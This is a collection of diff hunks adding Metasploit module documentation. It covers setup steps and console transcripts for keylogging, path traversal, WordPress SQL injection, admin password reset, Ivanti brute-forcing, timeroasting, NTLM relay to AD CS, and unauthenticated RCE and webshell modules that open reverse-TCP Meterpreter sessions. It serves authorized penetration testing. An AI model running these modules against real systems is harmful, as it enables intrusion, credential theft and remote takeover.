[+] 127.0.0.1:6000 - X11 Key presses observed: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[*] 127.0.0.1:6000 - Closing X11 connection
[+] 127.0.0.1:6000 - Logged keys stored to: /root/.msf4/loot/20240226150211_default_127.0.0.1_x11.keylogger_839830.txt
[-] 127.0.0.1:6000 - Stopping running against current target...
[*] 127.0.0.1:6000 - Control-C again to force quit all targets.
[*] Auxiliary module execution completed
```
## Confirming
To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy)
The output will be very similar to the metasploit module, but may differ. Compare the below two entries (spaces added to xspy for alignment):
```
xspy: the quck rown foxumps over the lazy do
msf: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
```
@@ -0,0 +1,96 @@
## Vulnerable Application
An attacker can read any file through log functionality with no authentication.
The vulnerability affects:
* v24.7.18 <= NetAlertX <= v24.9.12
## Verification Steps
### Installation
1. `docker pull jokobsk/netalertx:24.9.12`
2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```
### Verification
1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/netalertx_file_read`
4. Do: `run rhost=<rhost>`
5. You should get the contents of the specified file.
## Options
- `RHOSTS`: target host
- `RPORT`: target port, default 20211
- `FILEPATH`: path to the required file
- `DEPTH`: number of `../` to be prepended to `FILEPATH`
## Scenarios
```
msf6 > use auxiliary/scanner/http/netalertx_file_read
msf6 auxiliary(scanner/http/netalertx_file_read) > show options
Module options (auxiliary/scanner/http/netalertx_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
tml
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/netalertx_file_read) > run
[*] Received data:
[*] root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
catchlog:x:100:101:catchlog:/:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
[*] Stored results in netalert_result.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/netalertx_file_read) >
```
@@ -0,0 +1,93 @@
## Vulnerable Application
There exists a path traversal vulnerability in the /toolbox-resource endpoint of SimpleHelp that enables unauthenticated
remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests
### Setup
On Ubuntu 22.04 download a vulnerable version of SimpleHelp, for this demo we will use 5.5.7:
`wget https://simple-help.com/releases/5.5.7/SimpleHelp-linux-amd64.tar.gz`
Unzip the application:
```
cd /opt
tar -xvf SimpleHelp-linux-amd64.tar.gz
```
Start the server:
```
cd SimpleHelp
sudo sh serverstart.sh
```
Navigate to the Web App GUI at: `http://127.0.0.1` (by default the application should be listening on all interfaces).
You should see "Welcome to your new SimpleHelp Server".
Select "Start New Server". The application should now be vulnerable to the path traversal.
## Verification Steps
1. Start msfconsole
1. Do: `use simplehelp_toolbox_path_traversal`
1. Set the `RHOST`
1. Run the module
1. Receive the file `serverconfig.xml` from the SimpleHelp
## Scenarios
### SimpleHelp 5.5.7 running on Ubuntu 22.04
```
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/simplehelp_toolbox_path_traversal 2025-01-12 normal No Simple Help Path Traversal Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/simplehelp_toolbox_path_traversal
[*] Using auxiliary/scanner/http/simplehelp_toolbox_path_traversal
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130
rhost => 172.16.199.130
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
[*] Reloading module...
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 5.5.7
[+] Downloaded 5233 bytes
[+] File saved in: /Users/jheysel/.msf4/loot/20250220163655_default_172.16.199.130_simplehelp.trave_035651.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### SimpleHelp 5.5.7 running on Windows 11
```
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131
rhosts => 172.16.199.131
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini
filepath => windows/system.ini
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4
depth => 4
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 5.5.7
[+] Downloaded 219 bytes
[+] File saved in: /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
[*] exec: cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
```
@@ -0,0 +1,59 @@
## Vulnerable Application
This module abuses the mishandling of a password reset request for
Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.
Successfully tested against Strapi CMS version 3.0.0-beta.17.4.
### Install
```
docker run -it -p 1337:1337 --rm node:16 /bin/bash
export CXXFLAGS="-std=c++17"
# Complete the quickstart
npm install -g create-strapi-app@3.0.0-beta.17.4 && create-strapi-app yourProjectName
```
Navigate to http://localhost:1337/ to verify the application is running. Now create the first admin account at http://localhost:1337/admin
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/strapi_3_password_reset`
1. Do: `set new_password testtesttest`
1. Do: `set rport 1337`
1. Do: `set rhosts 127.0.0.1`
1. Do: `run`
1. You should be able to reset the admin users password
## Options
### NEW_PASSWORD
New Admin password. No default.
## Scenarios
### npx install of strapi 3.0.0-beta.17.4
```
msf6 > use auxiliary/scanner/http/strapi_3_password_reset
msf6 auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest
new_password => testtesttest
msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337
rport => 1337
msf6 auxiliary(scanner/http/strapi_3_password_reset) > check
[-] This module does not support check.
msf6 auxiliary(scanner/http/strapi_3_password_reset) > run
[*] Resetting admin password...
[+] Password changed successfully!
[+] User: superadminuser
[+] Email: none@none.com
[+] PASSWORD: testtesttest
[*] Auxiliary module execution completed
```
@@ -0,0 +1,54 @@
## Vulnerable Application
Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability
via the `question_id` parameter.
An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information,
such as usernames and password hashes, from the `wp_users` table.
The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/).
The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip
## Verification Steps
1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin.
2. Start `msfconsole`.
3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`.
4. Set the target host: `set RHOSTS [ip]`.
5. Adjust other options as necessary, such as `TARGETURI` (default is `/`).
6. Execute the module: `run`.
7. The module should retrieve usernames and password hashes from the WordPress installation.
## Options
## Scenarios
### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04
#### Example
```sh
msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 192.168.1.104
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information
WordPress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
```
@@ -0,0 +1,148 @@
## Vulnerable Application
The vulnerability affects the **TI WooCommerce Wishlist** plugin for WordPress,
versions **up to 2.8.2**, allowing **unauthenticated SQL injection** via specific parameters.
The **WooCommerce** plugin is also required for the setup.
### Pre-requisites:
- **Docker** and **Docker Compose** installed.
### Setup Instructions:
1. **Download the Docker Compose file**:
Save the following content in a `docker-compose.yml` file:
```yaml
version: '3.1'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
2. **Start the Docker environment**:
Run the following command in the directory where you saved the `docker-compose.yml` file:
```bash
docker-compose up -d
```
3. **Install WooCommerce and TI WooCommerce Wishlist Plugins**:
- Download the WooCommerce and TI WooCommerce Wishlist plugins:
```bash
wget https://downloads.wordpress.org/plugin/woocommerce.9.3.3.zip
wget https://downloads.wordpress.org/plugin/ti-woocommerce-wishlist.2.8.2.zip
```
- Install the plugins by copying them into your WordPress container:
```bash
unzip woocommerce.9.3.3.zip
docker cp woocommerce wordpress:/var/www/html/wp-content/plugins/
unzip ti-woocommerce-wishlist.2.8.2.zip
docker cp ti-woocommerce-wishlist wordpress:/var/www/html/wp-content/plugins/
```
4. **Activate WooCommerce and TI WooCommerce Wishlist Plugins**:
- Navigate to `http://localhost:5555/wp-admin` in your browser, and activate both
**WooCommerce** and **TI WooCommerce Wishlist** plugins.
- Complete the WooCommerce setup wizard to ensure the plugin is properly
initialized, including configuring the site through the "Customize Site" option.
## Verification Steps
1. **Set up WordPress** with the vulnerable **TI WooCommerce Wishlist 2.8.2** and **WooCommerce** plugins.
2. **Start Metasploit** using `msfconsole`.
3. Use the appropriate module for the vulnerability:
```bash
use auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli
```
4. Set the target's IP and URI:
```bash
set RHOST <target_ip>
set TARGETURI /
```
5. **Run the module**:
```bash
run
```
6. **Verify the SQL Injection**:
The SQL injection will attempt to retrieve or manipulate data from the WordPress database through the `order` parameter.
## Options
### PRODUCT_ID_MIN and PRODUCT_ID_MAX
These options specify the range of `product_id` values used to bruteforce the product
during the SQL injection attack.
The default range is from 1 to 100, but this can be adjusted based on your target.
### COUNT
This option specifies the number of rows to retrieve from the database during the SQL injection attack.
## Scenarios
The following scenario demonstrates an SQL injection attack against a WordPress
installation running **TI WooCommerce Wishlist 2.8.2** with **WooCommerce** in a Docker environment.
### Step-by-step Scenario
```bash
msf6 auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555
[*] Testing Product IDs from 0 to 100, please wait...
[+] Share key found: e93cca
[*] Performing SQL Injection using share key: e93cca
[*] SQL Injection successful, retrieving user credentials...
[*] {SQLi} Executing (SELECT 4 FROM information_schema.tables WHERE table_name = 'wp_users')
[*] {SQLi} Encoded to (SELECT 4 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
[*] {SQLi} Time-based injection: expecting output of length 1
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
[*] {SQLi} Executing (select group_concat(CvjX) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CvjX from wp_users limit 1) cUla)
[*] {SQLi} Encoded to (select group_concat(CvjX) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x2f,0)),ifnull(user_pass,repeat(0x8c,0))) as binary) CvjX from wp_users limit 1) cUla)
[*] {SQLi} Time-based injection: expecting output of length 44
[*] {WPSQLi} Dumped user data:
wp_users
========
user_login user_pass
---------- ---------
chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ.
[+] Loot saved to: /home/chocapikk/.msf4/loot/20240930123016_default_127.0.0.1_wordpress.users_970346.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,19 @@
## Description
The module performs bruteforce attack against Ivanti Connect Secure.
It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter.
## Vulnerable Application
- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn)
## Verification Steps
1. `use auxiliary/scanner/ivanti/login_scanner`
2. `set RHOSTS [IP]`
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
5. `set ADMIN [attack admin?]`
6. `run`
@@ -0,0 +1,96 @@
## Vulnerable Application
## Verification Steps
1. Use the supplied Dockerfile to start a vulnerable instance of the application
1. Build it with: `docker build -t ntpd:4.2.8p3 .`
1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3`
1. Start `msfconsole` and use the module
1. Set the `RHOSTS` value as necessary
1. Run the module and see that the target is vulnerable
### Dockerfile
Use this as `ntp.conf`:
```
# Basic NTP configuration
server 0.pool.ntp.org iburst
server 1.pool.ntp.org iburst
server 2.pool.ntp.org iburst
server 3.pool.ntp.org iburst
driftfile /var/lib/ntp/ntp.drift
# Enable authentication for secure associations
enable auth
# Define trusted keys
trustedkey 1
# Open restrictions for all clients on the local network (example: 192.168.0.0/16)
restrict default kod nomodify notrap
restrict 127.0.0.1
restrict ::1
restrict 192.168.0.0 mask 255.255.0.0 autokey
# Uncomment to allow all clients (use cautiously)
# restrict default kod nomodify notrap
```
Use this as `Dockerfile`:
```
ARG version=4.2.8p3
FROM ubuntu:16.04
ARG version
# Install dependencies
RUN apt-get update && apt-get install -y \
wget \
build-essential \
libcap-dev \
libssl-dev && \
apt-get clean
# Download and build NTPD
WORKDIR /tmp
RUN wget https://web.archive.org/web/20240608062853/https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \
tar -xzf ntp-$version.tar.gz && \
cd ntp-$version && \
./configure --prefix=/usr/local --enable-linuxcaps && \
make && \
make install && \
cd .. && \
rm -rf ntp-$version*
# Add configuration file
COPY ntp.conf /etc/ntp.conf
# Expose NTP port (123)
EXPOSE 123/udp
# Run ntpd
ENTRYPOINT ["/usr/local/bin/ntpd"]
CMD ["-g", "-d", "-d"]
```
## Options
## Scenarios
### Ubuntu 16.04 NTPd 4.2.8p3
```
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10
RHOSTS => 192.168.159.128, 192.168.159.10
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run
[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) >
```
@@ -0,0 +1,47 @@
## Vulnerable Application
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
because RIDs are sequential, they can easily be enumerated.
## Verification Steps
1. Setup a Windows domain controller target
1. Start msfconsole
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
1. Note the RID (the last part of the SID) and password of the new account
1. Use the `auxiliary/scanner/ntp/timeroast` module
1. Set the `RHOSTS` option to the target domain controller
1. Set the `RIDS` option to the RID of the new account
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
database is connected
## Options
### RIDS
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
## Scenarios
### Windows 2019 x64 Domain Controller
```
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
RIDS => 4200-4205
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/ntp/timeroast) > run
[*] Checking RID: 4200
[*] Checking RID: 4201
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
[*] Checking RID: 4202
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
[*] Checking RID: 4203
[*] Checking RID: 4204
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
[*] Checking RID: 4205
[*] Waiting on 3 pending responses...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ntp/timeroast) >
```
@@ -138,7 +138,7 @@ Local File System Commands
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
auxiliary/admin/dcerpc/samr_computer
auxiliary/admin/dcerpc/samr_account
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
@@ -0,0 +1,65 @@
## Vulnerable Application
This module creates an SMB server and then relays the credentials passed to it
to an HTTP server to gain an authenticated connection. Once that connection is
established, the module makes an authenticated request for a certificate based
on a given template.
## Verification Steps
1. Install and configure the application
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
2. Start `msfconsole`
2. Do: `use auxiliary/server/relay/esc8`
3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server
4. Run the module and wait for a request to be relayed
## Options
### MODE
The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
server. Must be one of the following options:
* ALL: Enumerate all available certificate templates and then issue each of them
* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
at the end of the name, which means that it is a machine account.
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
include `Machine` (AKA `Computer`) and `DomainController`
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
### CERT_TEMPLATE
The template to issue if MODE is SPECIFIC_TEMPLATE.
## Scenarios
### Version and OS
```
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Relaying to next target http://192.168.159.10:80/certsrv/
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://192.168.159.10:80/certsrv/
[SMB] NTLMv2-SSP Client : 192.168.159.10
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
[*] Creating certificate request for MSFLAB\smcintyre using the User template
[*] Generating CSR...
[*] CSR Generated
[*] Requesting relay target generate certificate...
[+] Certificate generated using template User and MSFLAB\smcintyre
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_192.168.159.10_windows.ad.cs_995918.pfx
[*] Relay tasks complete; waiting for next login attempt.
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
[*] New request from 192.168.159.129
[*] Received request for MSFLAB\smcintyre
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
@@ -0,0 +1,101 @@
## Vulnerable Application
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
product site. This exploit targets PRA and RS versions `24.3.1` and below.
## Testing
This exploit was tested against a vulnerable BeyondTrust Remote Support target running version `24.1.2`. To install
a virtual appliance, follow [this documentation](https://docs.beyondtrust.com/rs/docs/va-install). You will first need
to acquire the relevant software packages.
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/beyondtrust_pra_rs_unauth_rce`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
5. `set LHOST eth0`
6. `set LPORT 4444`
7. `check`
8. `exploit`
## Options
### TargetCompanyName
If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`).
By default, this is auto discovered.
### TargetServerFQDN
If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`).
By default, this is auto discovered.
### LeverageCVE_2024_12356
By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356, and instead exploits the
SQLi vulnerability CVE-2025-1094 directly. Enabling this option will cause this exploit to leverage CVE-2024-12356 during
the exploitation of the SQLi vulnerability CVE-2025-1094. In either case the SQLi vulnerability CVE-2025-1094 is leveraged
to achieve RCE.
## Scenarios
### Default
```
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options
Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.105 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME usKuEPuSzgnx no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check
[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 24.1.2
[*] Using company name: mytestcompany
[*] Sending stage (3045380 bytes) to 192.168.86.105
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000
meterpreter > getuid
Server username: mytestcompany
meterpreter > sysinfo
Computer : 192.168.86.105
OS : Gentoo 2.14 (Linux 6.1.76-bt)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,89 @@
## Vulnerable Application
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
`post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
`/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
by default.
### Setup
A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559
1. Clone the repo `git clone https://github.com/vulhub/vulhub.git`
1. Checkout the pull request mentioned above: `git checkout CVE-2023-4220`
1. Run `cd vulhub/chamilo/CVE-2023-4220`
1. Start the environment: `docker compose up`
1. Navigate to `http://127.0.0.1:8080` to complete the installation wizard.
1. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is
`mariadb` (not `localhost` or `127.0.0.1`).
1. Once the installation wizard is complete the target should be ready to be
exploited with the module. This container has the non-default `/files/` directory created already.
## Verification Steps
1. Start msfconsole
1. Do: `use linux/http/chamilo_bigupload_webshell`
1. Set the `RHOST`, `RPORT`, and `LHSOT` options
1. Run the module
1. Receive a Meterpreter session as the `www-data` user.
## Scenarios
### Chamilo 1.11.18 running in Docker
```
msf6 > use linux/http/chamilo_bigupload_webshell
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080
rport => 8080
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options
Module options (exploit/linux/http/chamilo_bigupload_webshell):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/chamilo_bigupload_webshell) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.
[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully).
